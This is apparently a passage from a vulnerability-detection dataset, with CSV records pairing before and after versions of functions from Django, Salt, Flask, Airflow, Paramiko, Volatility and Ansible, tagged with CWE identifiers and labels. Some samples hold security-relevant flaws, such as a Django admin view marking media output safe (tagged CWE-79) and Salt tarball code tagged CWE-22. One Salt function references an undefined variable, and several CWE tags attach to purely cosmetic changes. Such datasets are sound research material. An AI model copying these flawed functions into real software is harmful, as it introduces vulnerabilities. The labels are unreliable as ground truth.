                fieldsets, prepopulated, readonly, model_admin=self)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': ""_popup"" in request.REQUEST,
            'show_delete': False,
            'media': media,
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, form_url=form_url, add=True)",CWE-79,django/django,46f1369d92c1ac4e37e9b1efffc7c87d759508eb,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        inline_instances = self.get_inline_instances(request)
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                new_object = self.save_form(request, form, change=False)
                form_validated = True
            else:
                form_validated = False
                new_object = self.model()
            prefixes = {}
            for FormSet, inline in zip(self.get_formsets(request), inline_instances):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1 or not prefix:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=""_saveasnew"" in request.POST,
                                  prefix=prefix, queryset=inline.queryset(request))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, False)
                self.save_related(request, form, formsets, False)
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            prefixes = {}
            for FormSet, inline in zip(self.get_formsets(request), inline_instances):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1 or not prefix:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(instance=self.model(), prefix=prefix,
                                  queryset=inline.queryset(request))
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)),
            self.get_prepopulated_fields(request),
            self.get_readonly_fields(request),
            model_admin=self)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            readonly = list(inline.get_readonly_fields(request))
            prepopulated = dict(inline.get_prepopulated_fields(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset,
                fieldsets, prepopulated, readonly, model_admin=self)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': ""_popup"" in request.REQUEST,
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, form_url=form_url, add=True)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.tgz')
    thinver = os.path.join(thindir, 'version')
    salt_call = os.path.join(thindir, 'salt-call')
    with salt.utils.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(thintar)
            except OSError:
                pass
        else:
            return thintar

    tops = [
            os.path.dirname(salt.__file__),
            os.path.dirname(jinja2.__file__),
            os.path.dirname(yaml.__file__),
            ]

    tops.append(six.__file__.replace('.pyc', '.py'))

    if HAS_CERTIFI:
        tops.append(os.path.dirname(certifi.__file__))

    if HAS_SSL_MATCH_HOSTNAME:
        tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))

    if HAS_XML:
        # For openSUSE, which apparently doesn't include the whole stdlib
        tops.append(os.path.dirname(xml.__file__))

    for mod in [m for m in extra_mods.split(',') if m]:
        if mod not in locals() and mod not in globals():
            try:
                locals()[mod] = __import__(mod)
                moddir, modname = os.path.split(locals()[mod].__file__)
                base, ext = os.path.splitext(modname)
                if base == '__init__':
                    tops.append(moddir)
                else:
                    tops.append(os.path.join(moddir, base + '.py'))
            except ImportError:
                # Not entirely sure this is the right thing, but the only
                # options seem to be 1) fail, 2) spew errors, or 3) pass.
                # Nothing else in here spits errors, and the markupsafe code
                # doesn't bail on import failure, so I followed that lead.
                # And of course, any other failure still S/T's.
                pass
    for mod in [m for m in so_mods.split(',') if m]:
        try:
            locals()[mod] = __import__(mod)
            tops.append(locals()[mod].__file__)
        except ImportError:
            pass   # As per comment above
    if HAS_MARKUPSAFE:
        tops.append(os.path.dirname(markupsafe.__file__))
    tfp = tarfile.open(thintar, 'w:gz', dereference=True)
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None
    for top in tops:
        base = os.path.basename(top)
        top_dirname = os.path.dirname(top)
        if os.path.isdir(top_dirname):
            os.chdir(top_dirname)
        else:
            # This is likely a compressed python .egg
            tempdir = tempfile.mkdtemp()
            egg = zipfile.ZipFile(top_dirname)
            egg.extractall(tempdir)
            top = os.path.join(tempdir, base)
            os.chdir(tempdir)
        if not os.path.isdir(top):
            # top is a single file module
            tfp.add(base)
            continue
        for root, dirs, files in os.walk(base, followlinks=True):
            for name in files:
                if not name.endswith(('.pyc', '.pyo')):
                    tfp.add(os.path.join(root, name))
        if tempdir is not None:
            shutil.rmtree(tempdir)
            tempdir = None
    os.chdir(thindir)
    tfp.add('salt-call')
    with salt.utils.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    os.chdir(os.path.dirname(thinver))
    tfp.add('version')
    if start_dir:
        os.chdir(start_dir)
    tfp.close()
    return thintar",CWE-22,saltstack/salt,6e4547ff388da99434f6deb5075d75c874f807a7,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.tgz')
    thinver = os.path.join(thindir, 'version')
    salt_call = os.path.join(thindir, 'salt-call')
    with salt.utils.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(thintar)
            except OSError:
                pass
        else:
            return thintar

    tops = [
            os.path.dirname(salt.__file__),
            os.path.dirname(jinja2.__file__),
            os.path.dirname(yaml.__file__),
            ]

    tops.append(six.__file__.replace('.pyc', '.py'))

    if HAS_CERTIFI:
        tops.append(os.path.dirname(certifi.__file__))

    if HAS_SSL_MATCH_HOSTNAME:
        tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))

    if HAS_XML:
        # For openSUSE, which apparently doesn't include the whole stdlib
        tops.append(os.path.dirname(xml.__file__))

    for mod in [m for m in extra_mods.split(',') if m]:
        if mod not in locals() and mod not in globals():
            try:
                locals()[mod] = __import__(mod)
                moddir, modname = os.path.split(locals()[mod].__file__)
                base, ext = os.path.splitext(modname)
                if base == '__init__':
                    tops.append(moddir)
                else:
                    tops.append(os.path.join(moddir, base + '.py'))
            except ImportError:
                # Not entirely sure this is the right thing, but the only
                # options seem to be 1) fail, 2) spew errors, or 3) pass.
                # Nothing else in here spits errors, and the markupsafe code
                # doesn't bail on import failure, so I followed that lead.
                # And of course, any other failure still S/T's.
                pass
    for mod in [m for m in so_mods.split(',') if m]:
        try:
            locals()[mod] = __import__(mod)
            tops.append(locals()[mod].__file__)
        except ImportError:
            pass   # As per comment above
    if HAS_MARKUPSAFE:
        tops.append(os.path.dirname(markupsafe.__file__))
    tfp = tarfile.open(thintar, 'w:gz', dereference=True)
    start_dir = os.getcwd()
    tempdir = None
    for top in tops:
        base = os.path.basename(top)
        top_dirname = os.path.dirname(top)
        if os.path.isdir(top_dirname):
            os.chdir(top_dirname)
        else:
            # This is likely a compressed python .egg
            tempdir = tempfile.mkdtemp()
            egg = zipfile.ZipFile(top_dirname)
            egg.extractall(tempdir)
            top = os.path.join(tempdir, base)
            os.chdir(tempdir)
        if not os.path.isdir(top):
            # top is a single file module
            tfp.add(base)
            continue
        for root, dirs, files in os.walk(base, followlinks=True):
            for name in files:
                if not name.endswith(('.pyc', '.pyo')):
                    tfp.add(os.path.join(root, name))
        if tempdir is not None:
            shutil.rmtree(tempdir)
            tempdir = None
    os.chdir(thindir)
    tfp.add('salt-call')
    with salt.utils.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    os.chdir(os.path.dirname(thinver))
    tfp.add('version')
    os.chdir(start_dir)
    tfp.close()
    return thintar"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_timezone.py,1,"def test_system():
    """"""
    Test to set the timezone for the system.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[CommandExecutionError, True, True, True])
    mock1 = MagicMock(side_effect=[""local"", ""localtime"", ""localtime""])
    mock2 = MagicMock(return_value=False)
    with patch.dict(
        timezone.__salt__,
        {
            ""timezone.zone_compare"": mock,
            ""timezone.get_hwclock"": mock1,
            ""timezone.set_hwclock"": mock2,
        },
    ):
        ret.update(
            {
                ""comment"": (
                    ""Unable to compare desired timezone 'salt' to system timezone: ""
                ),
                ""result"": False,
            }
        )
        assert timezone.system(""salt"") == ret

        ret.update(
            {
                ""comment"": ""Timezone salt already set, UTC already set to salt"",
                ""result"": True,
            }
        )
        assert timezone.system(""salt"") == ret

        with patch.dict(timezone.__opts__, {""test"": True}):
            ret.update({""comment"": ""UTC needs to be set to True"", ""result"": None})
            assert timezone.system(""salt"") == ret

        with patch.dict(timezone.__opts__, {""test"": False}):
            ret.update({""comment"": ""Failed to set UTC to True"", ""result"": False})
            assert timezone.system(""salt"") == ret",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_system():
    """"""
    Test to set the timezone for the system.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[CommandExecutionError, True, True, True])
    mock1 = MagicMock(side_effect=[""local"", ""localtime"", ""localtime""])
    mock2 = MagicMock(return_value=False)
    with patch.dict(
        timezone.__salt__,
        {
            ""timezone.zone_compare"": mock,
            ""timezone.get_hwclock"": mock1,
            ""timezone.set_hwclock"": mock2,
        },
    ):
        ret.update(
            {
                ""comment"": ""Unable to compare desired timezone 'salt' to system timezone: "",
                ""result"": False,
            }
        )
        assert timezone.system(""salt"") == ret

        ret.update(
            {
                ""comment"": ""Timezone salt already set, UTC already set to salt"",
                ""result"": True,
            }
        )
        assert timezone.system(""salt"") == ret

        with patch.dict(timezone.__opts__, {""test"": True}):
            ret.update({""comment"": ""UTC needs to be set to True"", ""result"": None})
            assert timezone.system(""salt"") == ret

        with patch.dict(timezone.__opts__, {""test"": False}):
            ret.update({""comment"": ""Failed to set UTC to True"", ""result"": False})
            assert timezone.system(""salt"") == ret"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def render_text(self, outfd, data):
        for task in data:
            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))
            for vad in task.VadRoot.traverse():
                if vad == None:
                    outfd.write(""Error: {0}"".format(vad))
                else:
                    self.write_vad_short(outfd, vad)
                    try:
                        self.write_vad_control(outfd, vad)
                    except AttributeError:
                        pass
                    try:
                        self.write_vad_ext(outfd, vad)
                    except AttributeError:
                        pass

                outfd.write(""\n"")",,volatilityfoundation/volatility,16cede7a83a38dfc8f524f260adb4734fb9cdb17,"def render_text(self, outfd, data):
        for task in data:
            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))
            for vad in task.get_vads():
                if vad == None:
                    outfd.write(""Error: {0}"".format(vad))
                else:
                    self.write_vad_short(outfd, vad)
                    try:
                        self.write_vad_control(outfd, vad)
                    except AttributeError:
                        pass
                    try:
                        self.write_vad_ext(outfd, vad)
                    except AttributeError:
                        pass

                outfd.write(""\n"")"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/config.py,0,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            # Strip any leading or trailing whitespace from the line.
            # Refer to https://github.com/paramiko/paramiko/issues/499
            line = line.strip()
            if not line or line.startswith('#'):
                continue

            match = re.match(self.SETTINGS_REGEX, line)
            if not match:
                raise Exception(""Unparsable line %s"" % line)
            key = match.group(1).lower()
            value = match.group(2)

            if key == 'host':
                self._config.append(host)
                host = {
                    'host': self._get_hosts(value),
                    'config': {}
                }
            elif key == 'proxycommand' and value.lower() == 'none':
                # Store 'none' as None; prior to 3.x, it will get stripped out
                # at the end (for compatibility with issue #415). After 3.x, it
                # will simply not get stripped, leaving a nice explicit marker.
                host['config'][key] = None
            else:
                if value.startswith('""') and value.endswith('""'):
                    value = value[1:-1]

                # identityfile, localforward, remoteforward keys are special
                # cases, since they are allowed to be specified multiple times
                # and they should be tried in order of specification.
                if key in ['identityfile', 'localforward', 'remoteforward']:
                    if key in host['config']:
                        host['config'][key].append(value)
                    else:
                        host['config'][key] = [value]
                elif key not in host['config']:
                    host['config'][key] = value
        self._config.append(host)",,paramiko/paramiko,c960e2281a567314e80d46e77e79e05e6b2dc83e,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            # Strip any leading or trailing whitespace from the line.
            # See https://github.com/paramiko/paramiko/issues/499 for more info.
            line = line.strip()
            if not line or line.startswith('#'):
                continue

            match = re.match(self.SETTINGS_REGEX, line)
            if not match:
                raise Exception(""Unparsable line %s"" % line)
            key = match.group(1).lower()
            value = match.group(2)
            
            if key == 'host':
                self._config.append(host)
                host = {
                    'host': self._get_hosts(value),
                    'config': {}
                }
            elif key == 'proxycommand' and value.lower() == 'none':
                # Store 'none' as None; prior to 3.x, it will get stripped out
                # at the end (for compatibility with issue #415). After 3.x, it
                # will simply not get stripped, leaving a nice explicit marker.
                host['config'][key] = None
            else:
                if value.startswith('""') and value.endswith('""'):
                    value = value[1:-1]

                # identityfile, localforward, remoteforward keys are special
                # cases, since they are allowed to be specified multiple times
                # and they should be tried in order of specification.
                if key in ['identityfile', 'localforward', 'remoteforward']:
                    if key in host['config']:
                        host['config'][key].append(value)
                    else:
                        host['config'][key] = [value]
                elif key not in host['config']:
                    host['config'][key] = value
        self._config.append(host)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tools/pkgrepo.py,0,"def _create_onedir_based_repo(
    ctx: Context,
    salt_version: str,
    nightly_build: bool,
    rc_build: bool,
    repo_path: pathlib.Path,
    incoming: pathlib.Path,
    key_id: str,
    distro: str,
    pkg_suffixes: tuple[str, ...],
):
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path, salt_version, distro, rc_build=rc_build, nightly_build=nightly_build
    )
    if nightly_build is False:
        repo_json_path = create_repo_path.parent.parent / ""repo.json""
    else:
        repo_json_path = create_repo_path.parent / ""repo.json""

    if nightly_build:
        bucket_name = tools.utils.NIGHTLY_BUCKET_NAME
    else:
        bucket_name = tools.utils.STAGING_BUCKET_NAME

    release_json = {}

    copy_exclusions = (
        "".blake2b"",
        "".sha512"",
        "".sha3_512"",
        "".BLAKE2B"",
        "".SHA512"",
        "".SHA3_512"",
        "".json"",
    )
    hashes_base_path = create_repo_path / f""salt-{salt_version}""
    for fpath in incoming.iterdir():
        if fpath.suffix in copy_exclusions:
            continue
        ctx.info(f""* Processing {fpath} ..."")
        dpath = create_repo_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if ""-amd64"" in dpath.name.lower():
            arch = ""amd64""
        elif ""-x86_64"" in dpath.name.lower():
            arch = ""x86_64""
        elif ""-x86"" in dpath.name.lower():
            arch = ""x86""
        elif ""-aarch64"" in dpath.name.lower():
            arch = ""aarch64""
        else:
            ctx.error(
                f""Cannot pickup the right architecture from the filename '{dpath.name}'.""
            )
            ctx.exit(1)
        release_json[dpath.name] = {
            ""name"": dpath.name,
            ""version"": salt_version,
            ""os"": distro,
            ""arch"": arch,
        }
        for hash_name in (""blake2b"", ""sha512"", ""sha3_512""):
            ctx.info(f""   * Calculating {hash_name} ..."")
            hexdigest = _get_file_checksum(fpath, hash_name)
            release_json[dpath.name][hash_name.upper()] = hexdigest
            with open(f""{hashes_base_path}_{hash_name.upper()}"", ""a+"") as wfh:
                wfh.write(f""{hexdigest} {dpath.name}\n"")

    for fpath in create_repo_path.iterdir():
        if fpath.suffix in pkg_suffixes:
            continue
        tools.utils.gpg_sign(ctx, key_id, fpath)

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    repo_json = _get_repo_json_file_contents(
        ctx, bucket_name=bucket_name, repo_path=repo_path, repo_json_path=repo_json_path
    )
    if nightly_build is False:
        minor_repo_json_path = create_repo_path.parent / ""repo.json""
        minor_repo_json = _get_repo_json_file_contents(
            ctx,
            bucket_name=bucket_name,
            repo_path=repo_path,
            repo_json_path=minor_repo_json_path,
        )
        minor_repo_json[salt_version] = release_json
        minor_versions = _parse_versions(*list(minor_repo_json))
        if not minor_versions:
            minor_latest_version = Version(salt_version)
        else:
            minor_latest_version = minor_versions[0]
        if str(minor_latest_version) not in minor_repo_json:
            minor_latest_version = Version(salt_version)

        major_version = Version(salt_version).major
        if minor_latest_version <= salt_version:
            minor_repo_json[""latest""] = release_json
            # This is the latest minor, update the major in the top level repo.json
            # to this version
            repo_json[str(major_version)] = release
            major_link = create_repo_path.parent.parent / str(major_version)
            ctx.info(f""Creating '{major_link.relative_to(repo_path)}' symlink ..."")
            if major_link.exists():
                major_link.unlink()
            major_link.symlink_to(f""minor/{salt_version}"")

        ctx.info(f""Writing {minor_repo_json_path} ..."")
        minor_repo_json_path.write_text(json.dumps(minor_repo_json, sort_keys=True))

        major_versions = _parse_versions(*list(repo_json))
        if major_versions[0].major <= major_version:
            repo_json[""latest""] = release_json
            latest_link = create_repo_path.parent.parent / ""latest""
            ctx.info(f""Creating '{latest_link.relative_to(repo_path)}' symlink ..."")
            if latest_link.exists():
                latest_link.unlink()
            latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        latest_link = create_repo_path.parent / ""latest""
        ctx.info(f""Creating '{latest_link.relative_to(repo_path)}' symlink ..."")
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(f""Writing {repo_json_path} ..."")
    repo_json_path.write_text(json.dumps(repo_json, sort_keys=True))",,saltstack/salt,da775a337a4468260875356028f9478870374821,"def _create_onedir_based_repo(
    ctx: Context,
    salt_version: str,
    nightly_build: bool,
    rc_build: bool,
    repo_path: pathlib.Path,
    incoming: pathlib.Path,
    key_id: str,
    distro: str,
    pkg_suffixes: tuple[str, ...],
):
    ctx.info(""Creating repository directory structure ..."")
    create_repo_path = _create_repo_path(
        repo_path, salt_version, distro, rc_build=rc_build, nightly_build=nightly_build
    )
    if nightly_build is False:
        repo_json_path = create_repo_path.parent.parent / ""repo.json""
    else:
        repo_json_path = create_repo_path.parent / ""repo.json""

    if nightly_build:
        bucket_name = tools.utils.NIGHTLY_BUCKET_NAME
    else:
        bucket_name = tools.utils.STAGING_BUCKET_NAME

    release_json = {}

    copy_exclusions = (
        "".blake2b"",
        "".sha512"",
        "".sha3_512"",
        "".BLAKE2B"",
        "".SHA512"",
        "".SHA3_512"",
        "".json"",
    )
    hashes_base_path = create_repo_path / f""salt-{salt_version}""
    for fpath in incoming.iterdir():
        if fpath.suffix in copy_exclusions:
            continue
        ctx.info(f""* Processing {fpath} ..."")
        dpath = create_repo_path / fpath.name
        ctx.info(f""Copying {fpath} to {dpath} ..."")
        shutil.copyfile(fpath, dpath)
        if ""-amd64"" in dpath.name.lower():
            arch = ""amd64""
        elif ""-x86_64"" in dpath.name.lower():
            arch = ""x86_64""
        elif ""-x86"" in dpath.name.lower():
            arch = ""x86""
        elif ""-aarch64"" in dpath.name.lower():
            arch = ""aarch64""
        else:
            ctx.error(
                f""Cannot pickup the right architecture from the filename '{dpath.name}'.""
            )
            ctx.exit(1)
        release_json[dpath.name] = {
            ""name"": dpath.name,
            ""version"": salt_version,
            ""os"": distro,
            ""arch"": arch,
        }
        for hash_name in (""blake2b"", ""sha512"", ""sha3_512""):
            ctx.info(f""   * Calculating {hash_name} ..."")
            hexdigest = _get_file_checksum(fpath, hash_name)
            release_json[dpath.name][hash_name.upper()] = hexdigest
            with open(f""{hashes_base_path}_{hash_name.upper()}"", ""a+"") as wfh:
                wfh.write(f""{hexdigest} {dpath.name}\n"")

    for fpath in create_repo_path.iterdir():
        if fpath.suffix in pkg_suffixes:
            continue
        tools.utils.gpg_sign(ctx, key_id, fpath)

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, repo_path, create_repo_path)

    repo_json = _get_repo_json_file_contents(
        ctx, bucket_name=bucket_name, repo_path=repo_path, repo_json_path=repo_json_path
    )
    if nightly_build is False:
        minor_repo_json_path = create_repo_path.parent / ""repo.json""
        minor_repo_json = _get_repo_json_file_contents(
            ctx,
            bucket_name=bucket_name,
            repo_path=repo_path,
            repo_json_path=minor_repo_json_path,
        )
        minor_repo_json[salt_version] = release_json
        minor_latest_version = _get_latest_version(*list(minor_repo_json))
        if str(minor_latest_version) not in minor_repo_json:
            minor_latest_version = Version(salt_version)
        minor_repo_json[""latest""] = minor_repo_json[str(minor_latest_version)]
        ctx.info(f""Writing {minor_repo_json_path} ..."")
        minor_repo_json_path.write_text(json.dumps(minor_repo_json, sort_keys=True))

        if _get_latest_version(*list(repo_json)).major <= Version(salt_version).major:
            repo_json[""latest""] = release_json
            ctx.info(""Creating '<major-version>' and 'latest' symlinks ..."")
            major_version = Version(salt_version).major
            repo_json[str(major_version)] = release_json
            major_link = create_repo_path.parent.parent / str(major_version)
            if major_link.exists():
                major_link.unlink()
            major_link.symlink_to(f""minor/{salt_version}"")
            latest_link = create_repo_path.parent.parent / ""latest""
            if latest_link.exists():
                latest_link.unlink()
            latest_link.symlink_to(f""minor/{salt_version}"")
    else:
        ctx.info(""Creating 'latest' symlink ..."")
        latest_link = create_repo_path.parent / ""latest""
        latest_link.symlink_to(create_repo_path.name)

    ctx.info(f""Writing {repo_json_path} ..."")
    repo_json_path.write_text(json.dumps(repo_json, sort_keys=True))"
,UNKNOWN,UNKNOWN,tests/test_helpers.py,1,"def test_streaming_with_context_and_custom_close(self, app, client):
        called = []

        class Wrapper(object):
            def __init__(self, gen):
                self._gen = gen

            def __iter__(self):
                return self

            def close(self):
                called.append(42)

            def __next__(self):
                return next(self._gen)

            next = __next__

        @app.route('/')
        def index():
            def generate():
                yield 'Hello '
                yield flask.request.args['name']
                yield '!'

            return flask.Response(flask.stream_with_context(
                Wrapper(generate())))

        rv = client.get('/?name=World')
        assert rv.data == b'Hello World!'
        assert called == [42]",CWE-703,pallets/flask,3b678b7927e38af1f50cfaa60e1c2fdeaf391325,"def test_streaming_with_context_and_custom_close(self, app, client):
        called = []

        class Wrapper(object):
            def __init__(self, gen):
                self._gen = gen

            def __iter__(self):
                return self

            def close(self):
                called.append(42)

            def __next__(self):
                return next(self._gen)

            next = __next__

        @app.route('/')
        def index():
            def generate():
                yield 'Hello '
                yield flask.request.args['name']
                yield '!'

            return flask.Response(flask.stream_with_context(
                Wrapper(generate())))

        rv = client.get('/?name=World')
        assert rv.data == b'Hello World!'
        assert called == [42]"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_handle_failure_updates_queued_task_try_number(self, dag_maker):
        session = settings.Session()
        with dag_maker():
            task = EmptyOperator(task_id=""mytask"", retries=1)
        dr = dag_maker.create_dagrun()
        ti = TI(task=task, run_id=dr.run_id)
        ti.state = State.QUEUED
        session.merge(ti)
        session.flush()
        assert ti.state == State.QUEUED
        assert ti.try_number == 1
        ti.handle_failure(""test queued ti"", test_mode=True)
        assert ti.state == State.UP_FOR_RETRY
        # Assert that 'ti._try_number' is bumped from 0 to 1. This is the last/current try
        assert ti._try_number == 1
        # Check 'ti.try_number' is bumped to 2. This is try_number for next run
        assert ti.try_number == 2",CWE-703,apache/airflow,1d8507af07353e5cf29a860314b5ba5caad5cdf3,"def test_handle_failure_updates_queued_task_try_number(self, dag_maker):
        session = settings.Session()
        with dag_maker():
            task = EmptyOperator(task_id=""mytask"", retries=1)
        dr = dag_maker.create_dagrun()
        ti = TI(task=task, run_id=dr.run_id)
        ti.state = State.QUEUED
        session.merge(ti)
        session.commit()
        assert ti.state == State.QUEUED
        assert ti.try_number == 1
        ti.handle_failure(""test queued ti"", test_mode=True)
        assert ti.state == State.UP_FOR_RETRY
        # Assert that 'ti._try_number' is bumped from 0 to 1. This is the last/current try
        assert ti._try_number == 1
        # Check 'ti.try_number' is bumped to 2. This is try_number for next run
        assert ti.try_number == 2"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/docker/docker_container.py,0,"def _parse_publish_ports(self):
        '''
        Parse ports from docker CLI syntax
        '''
        if self.published_ports is None:
            return None

        if 'all' in self.published_ports:
            return 'all'

        default_ip = self.default_host_ip

        binds = {}
        for port in self.published_ports:
            parts = split_colon_ipv6(str(port), self.client)
            container_port = parts[-1]
            protocol = ''
            if '/' in container_port:
                container_port, protocol = parts[-1].split('/')
            container_ports = parse_port_range(container_port, self.client)

            p_len = len(parts)
            if p_len == 1:
                port_binds = len(container_ports) * [(default_ip,)]
            elif p_len == 2:
                port_binds = [(default_ip, port) for port in parse_port_range(parts[0], self.client)]
            elif p_len == 3:
                # We only allow IPv4 and IPv6 addresses for the bind address
                ipaddr = parts[0]
                if not re.match(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$', parts[0]) and not re.match(r'^\[[0-9a-fA-F:]+\]$', ipaddr):
                    self.fail(('Bind addresses for published ports must be IPv4 or IPv6 addresses, not hostnames. '
                               'Use the dig lookup to resolve hostnames. (Found hostname: {0})').format(ipaddr))
                if re.match(r'^\[[0-9a-fA-F:]+\]$', ipaddr):
                    ipaddr = ipaddr[1:-1]
                if parts[1]:
                    port_binds = [(ipaddr, port) for port in parse_port_range(parts[1], self.client)]
                else:
                    port_binds = len(container_ports) * [(ipaddr,)]

            for bind, container_port in zip(port_binds, container_ports):
                idx = '{0}/{1}'.format(container_port, protocol) if protocol else container_port
                if idx in binds:
                    old_bind = binds[idx]
                    if isinstance(old_bind, list):
                        old_bind.append(bind)
                    else:
                        binds[idx] = [old_bind, bind]
                else:
                    binds[idx] = bind
        return binds",,ansible/ansible,a7573102bcbc7e88b8bf6de639be2696f1a5ad43,"def _parse_publish_ports(self):
        '''
        Parse ports from docker CLI syntax
        '''
        if self.published_ports is None:
            return None

        if 'all' in self.published_ports:
            return 'all'

        default_ip = self.default_host_ip

        binds = {}
        for port in self.published_ports:
            parts = split_colon_ipv6(str(port), self.client)
            container_port = parts[-1]
            protocol = ''
            if '/' in container_port:
                container_port, protocol = parts[-1].split('/')
            container_ports = parse_port_range(container_port, self.client)

            p_len = len(parts)
            if p_len == 1:
                port_binds = len(container_ports) * [(default_ip,)]
            elif p_len == 2:
                port_binds = [(default_ip, port) for port in parse_port_range(parts[0], self.client)]
            elif p_len == 3:
                # We only allow IPv4 and IPv6 addresses for the bind address
                if not re.match(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$', parts[0]) and not re.match(r'^\[[0-9a-fA-F:]+\]$', parts[0]):
                    self.fail(('Bind addresses for published ports must be IPv4 or IPv6 addresses, not hostnames. '
                               'Use the dig lookup to resolve hostnames. (Found hostname: {0})').format(parts[0]))
                if parts[1]:
                    port_binds = [(parts[0], port) for port in parse_port_range(parts[1], self.client)]
                else:
                    port_binds = len(container_ports) * [(parts[0],)]

            for bind, container_port in zip(port_binds, container_ports):
                idx = '{0}/{1}'.format(container_port, protocol) if protocol else container_port
                if idx in binds:
                    old_bind = binds[idx]
